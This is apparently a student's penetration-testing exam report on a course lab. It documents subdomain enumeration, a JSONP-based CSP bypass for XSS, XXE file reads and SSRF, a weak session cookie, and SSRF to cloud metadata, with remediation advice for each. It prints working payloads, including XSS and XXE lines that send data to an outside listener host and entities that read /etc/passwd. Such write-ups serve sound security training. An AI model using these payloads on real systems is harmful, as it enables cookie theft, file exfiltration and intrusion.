Subdomain Discovery
Discovered subdomains:
docker.gw34908723to.ext.exam.ns.agency
mysql.gw34908723to.ext.exam.ns.agency
dev-docker.gw34908723to.ext.exam.ns.agency
jp-mysql.gw34908723to.ext.exam.ns.agency
Proof of Concept
The subdomains were surprisingly easier to find compared to the previous exam. While running through a few wordlists from secLists
through zdns
I discovered the first two. Then by permutating the results with my own curated wordlist from this course, I discovered the other two domains. Overall it took me less than an hour to find all four subdomains.
Cross Site Scripting (CSP XSS)
Target: https://docker.gw34908723to.ext.exam.ns.agency/
Proof of Concept
- Upon logging in and interacting with the system we discover a few points of interest:
Resource | Functionality |
/user-list | An endpoint which lists users and by default has the format json |
/profile | Includes a <textarea> which can be broken out of (see below) |
/contact | A page where admin will visit a URL you send to him |
-
The first step of the exploit is to break out of the textarea sandbox, which can be confirmed by updating the profile page with the payload :
</textarea>
<img src=https://i.imgur.com/ZwjuRGV.png>
<textarea>
.The usual
alert(1)
payload does not work in this case as there is a Content Security Policy (CSP) in place so all script sources must originate fromself
.
-
However, this is where the endpoint comes into play, due to misconfiguration or other factors, the following usual link
https://docker.gw34908723to.ext.exam.ns.agency/user-list?format=json
which returns harmless JSON data, can be changed to:
https://docker.gw34908723to.ext.exam.ns.agency/user-list?format=jsonp
which now returns type application/javascript.
-
After discovering an injectable callback parameter, we can now see that the
alert(1)
payload suceeds. The following payload shows this.</textarea><script src="/user-list?format=jsonp&callback=alert(1);//"><textarea>
- After confirming that the CSP can be bypassed with the unsecured JSONP endpoint, we then craft a URL to try and steal the admins cookie.
- The payload has been modified to stop the use of
.
character as it is being replaced bystop
to prevent common XSS attempts, the filter can be bypassed with double URL encoding ie%252E -> %2E -> .
.
-
Example that can return the document’s title to a remote request catcher.
</textarea> <script src="/user-list?format=jsonp&callback=window['location']['replace']('http://listener%252Eml:9447?c%3D'%2Bdocument[%27title%27]);//"></script> <textarea>
- Unfortunately I got stuck at this point as I have not figured out how to get the admin to visit the test account’s profile, as passing the URL
https://docker.gw34908723to.ext.exam.ns.agency/profile
will bring the admin to his own profile instead of the profile with the payload.
- However, I am certain if the admin visited the profile with the payload changed to
cookie
the admin’s cookie could then be retrieved and used to log in.
Impact
P2 - High
An attacker can steal cookies from an administrator which would allow them to log in as an admin with higher permissions to the system.
Remediation
Do not return data in the form of application/javascript
from endpoints if not necessary. Also there should be whitelisting/filtering in place for callback parameters to prevent it from becoming an injection point for cross-site scripting payloads.
XML External Entity Attack (XXE)
Target: https://mysql.gw34908723to.ext.exam.ns.agency/
Proof of Concept
-
Upon visitng the site and looking around, the flag is announced to be accessible only by the whitelisted host
172.18.0.2
.
There is also an XML parser at/jsonp
. -
By testing out simple payloads we are able to confirm that an XXE attack is possible on the parser page.
Returns the /etc/passwd file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
Returns the /etc/hosts file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<data>&file;</data>
(this confirms that indeed the flag host exists on the internal network)
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 c6425498f52b
SSRF is also possible
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY ohno SYSTEM "http://listener.ml:9447?q=test">
]>
<ssrf>&ohno;</ssrf>
Output from remote listener
================================================================================
> Requested GET path: /?q=test
> host: listener.ml:9447
> accept-encoding: gzip
- With request capabilities I could then further attacks to include more external entities and also perform Out-of-Band (OOB) attacks to exfiltrate data from the system.
Impact
P2 - High
An attacker can read/exfiltrate data such as internal files from within the system, which can be done out-of-band even if the data isn’t directly returned to the webpage. Furthermore, the attack can also extend to Server-Side Request Forgery to perform port scanning or internal host fingerprinting.
Remediation
Do not allow XML input from the user where possible, otherwise disable the use of external entities / DTDs completely.
Broken Session Management
Target: https://dev-docker.gw34908723to.ext.exam.ns.agency/
Proof of Concept
-
After logging in with test accounts we see the cookie is in the format
<username>:<time-since-epoch>:<role>:<checksum>
-
As an example :
lol:1528548992:peasant:a47015a9cf3e958f6850772734ccf6ee254f18da9a644128166bd8e1b0d67334
-
Running the login POST request through
Burp Sequencer
tells us that the randomness/entropy in a sample size of 20,000 is actually pretty bad
-
I also found out that the cookie’s 2nd value increases with each tick which verifies that it is indeed time since epoch, this is also the only value that changes with each login, however the checksum is always changed so I suspect a hashing algorithm is used.
-
I suspect that the input such as username, time of access, and role are concatennated in some way and input into a
sha 256
hashing algorithm which then generates the checksum used to check the validity of the login request.- I have tried forging admin cookie’s but have had no success so far, but with more time it is possible to forge a correct cookie.
- There have been hints that a vulnerability exists not in the checksum itself but I have yet to have found it.
(example attempt at forging cookie)
admin:1528525857:admin:9461ffbfa6050da7837de376ed3b64ff8da9acffda4c40e6face00e752542cba
Impact
P3 - Medium
If an attacker can successful forge a cookie as well as a valid checksum for an admin account, they can login as admin and further their attack from there.
Remediation
Auth cookies should not be returned to an end-user in a predictable/readable format. This allows attackers to guess the hashing algorithm and the possible input to forge cookies from.
Server-Side Request Forgery (SSRF)
Target: https://jp-mysql.gw34908723to.ext.exam.ns.agency/
Proof of Concept
-
Upon logging in and interacting with the site, there is a page in
https://jp-mysql.gw34908723to.ext.exam.ns.agency/profile
which allows users to upload a picture as their profile picture.
-
By viewing the source, the picture is being embedded directly into the page as base64 data that is decoded and then casted into an image type:
<img src="data:image/jpeg;base64,iVBORw0KGgoAAAANSU..." class="img-thumbnail">
-
The input is checked for
.png/.jpg
at the end and the request fails if the incorrect filetype is given, however this is easily circumvented by adding a#
at the end. ie.http://localhost/
#.jpg
-
A successful request then returns the message
Profile Updated.
the returned content is base64-encoded and stored as the profile picture.-
To exfiltrate the data, we have to extract the base64 string from the page source and then run through a decoder to retrieve the actual file.
-
I wrote a script to simplify this process and allow for easier recon on internal files. It easily updates the page and opens up the exfil data.
-
- Although not in scope, I discovered the cloud’s metadata at
http://169.254.169.254/latest/meta-data/
- After trying multiple schemas such as
file://
,ldap://
anddict://
it seems that onlyhttp://
is accepted. The error messages also tell us that the backend processing the requests is Python Requests
- After the hint was released for using
Burp
, as well as the source code mentioning “forwarding your headers”, I decided to try tampering the with raw requests.
-
Following online resources such as Section 2.4.2 of this article, I added in
HELO listener.ml MAIL FROM...
to the request.- There was no response on the remote listener, however I must be heading in the right direction as any type of tampering done on the request which isn’t a request header causes the profile pic to “grow”, which isn’t reproducible otherwise.
Impact
P3 - Medium
An attacker can read files on the internal network and perform reconnaisance on the intranet by performing port scanning via the vulnerable host as well as enumerating the entire subnet IP address range for other services. With the correct schema, an attacker can also utilize protocol smuggling to interact with other non-text based local services such as MySQL. An attacker could also access the cloud metadata which can then be used for lateral movement or privilege escalationwithin the network.
Remediation
In this case, do not forward HTTP headers from a user. Always check user input especially for file uploads or anything that accesses links. There should be whitelisting checks on URLs provided. Principal of Least Privilege also applies here, the webserver could be placed inside of a chroot jail to prevent reading of files such as /etc/passwd